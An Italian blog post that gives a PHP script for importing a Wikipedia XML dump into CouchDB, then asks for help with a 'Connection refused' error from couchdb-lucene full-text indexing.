How To

Dopo aver installato CouchDB su Centos 5 ,volevo provare a caricare qualche dato per fare delle prove su qualche migliaia di documenti.Così dopo aver scaricato l’ultimo dump completo in xml di Wikipedia Italia (raggiungibile al seguente url http://download.wikimedia.org/backup-index.html ).Ho creato questo script in php da lanciare da shell per effettuare il parsing dell’xml e inserirmi all’interno di un documento Json titolo e testo di ciascuna pagina wiki.

#!/usr/bin/php -q

<?PHP

/**

Raw Data Loader for Wikipedia XML Dump

*/

$couch_dsn = "http://192.168.0.8:5984/";

$couch_db = "test";

/**

* include the library

*/

require_once "/var/www/html/lib/couch.php";

require_once "/var/www/html/lib/couchClient.php";

require_once "/var/www/html/lib/couchDocument.php";

/**

* create the client

*/

$client = new couchClient($couch_dsn,$couch_db);

echo "#### Creating database ".$client->getDatabaseUri().': $result = $client->createDatabase();'."\n";

try {

$result = $client->createDatabase();

} catch (Exception $e) {

if ( $e instanceof couchException ) {

echo "We issued the request, but couch server returned an error.\n";

echo "We can have HTTP Status code returned by couchDB using \$e->getCode() : ". $e->getCode()."\n";

echo "We can have error message returned by couchDB using \$e->getMessage() : ". $e->getMessage()."\n";

echo "Finally, we can have CouchDB's complete response body using \$e->getBody() : ". print_r($e->getBody(),true)."\n";

<span style="white-space: pre;"> </span>echo "Are you sure that your CouchDB server is at $couch_dsn, and that database $couch_db does not exist ?\n";

exit (1);

} else {

echo "It seems that something wrong happened. You can have more details using :\n";

echo "the exception class with get_class(\$e) : ".get_class($e)."\n";

echo "the exception error code with \$e->getCode() : ".$e->getCode()."\n";

echo "the exception error message with \$e->getMessage() : ".$e->getMessage()."\n";

exit (1);

}

}

echo "Database successfully created. CouchDB sent the response :".print_r($result,true)."\n";

$wiki = new DOMDocument();

$wiki->load( '/tmp/couchdb/itwikisource-20100101-pages-articles.xml' );

$pages = $wiki->getElementsByTagName( "page" );

foreach( $pages as $page )

{

$titles = $page->getElementsByTagName( "title" );

$title = $titles->item(0)->nodeValue;

$texts = $page->getElementsByTagName( "text" );

$text = $texts->item(0)->nodeValue;

<span style="white-space: pre;"> </span>echo "#### Storing a document without _id property\n";

$doc = new stdClass();

$doc->title = $title;

$doc->text = $text;

echo "Storing \$doc : \$client->storeDoc(\$doc)\n";

try {

$response = $client->storeDoc($doc);

} catch (Exception $e) {

echo "Something weird happened: ".$e->getMessage()." (errcode=".$e->getCode().")\n";

exit(1);

}

echo "The document is stored. CouchDB response body: ".print_r($response,true)."\n";

echo "CouchDB created the unique identifier ".$response->id." for this document\n";

}

?>

Allego il codice dei tre file che vado ad includere a questo link http://jump.fm/XCQTG (è uno short link verso 2shared.com).

Il funzionamento del codice come vedete è molto semplice grazie a queste Api in php per CouchDB.Adesso dopo aver importato circa 750000 record in 1 ora e mezza (contando che lo sto facendo girare su una vm è un buon risultato ),il prossimo passo sarà quello di implementare una ricerca full-text sul db.Purtroppo CouchDB non è dotato nativamente di una ricerca di questo tipo pertanto deve essere aggiunta tramite un tool esterno sempre opensource chiamato couchdb-lucene reperibile su github a questa url http://github.com/rnewson/couchdb-lucene ,purtroppo pur avendo compilato e configurato tutto a dovere ottengo questo errore andando ad utilizzare gli indici full-text

Traceback (most recent call last):
  File "/usr/local/etc/couchdb-lucene-0.5-SNAPSHOT/tools/couchdb-external-hook.py", line 43, in main
    resp = respond(res, req, opts.local_host, opts.local_port)
  File "/usr/local/etc/couchdb-lucene-0.5-SNAPSHOT/tools/couchdb-external-hook.py", line 87, in respond
    res.request("GET", path, headers=req_headers)
  File "/usr/lib/python2.4/httplib.py", line 810, in request
    self._send_request(method, url, body, headers)
  File "/usr/lib/python2.4/httplib.py", line 833, in _send_request
    self.endheaders()
  File "/usr/lib/python2.4/httplib.py", line 804, in endheaders
    self._send_output()
  File "/usr/lib/python2.4/httplib.py", line 685, in _send_output
    self.send(msg)
  File "/usr/lib/python2.4/httplib.py", line 652, in send
    self.connect()
  File "/usr/lib/python2.4/httplib.py", line 636, in connect
    raise socket.error, msg
error: (111, 'Connection refused')

Purtroppo non riesco ad arrivare a capo del problema….se qualcun altro ha avuto esperienze con un errore simile lo prego di contattarmi.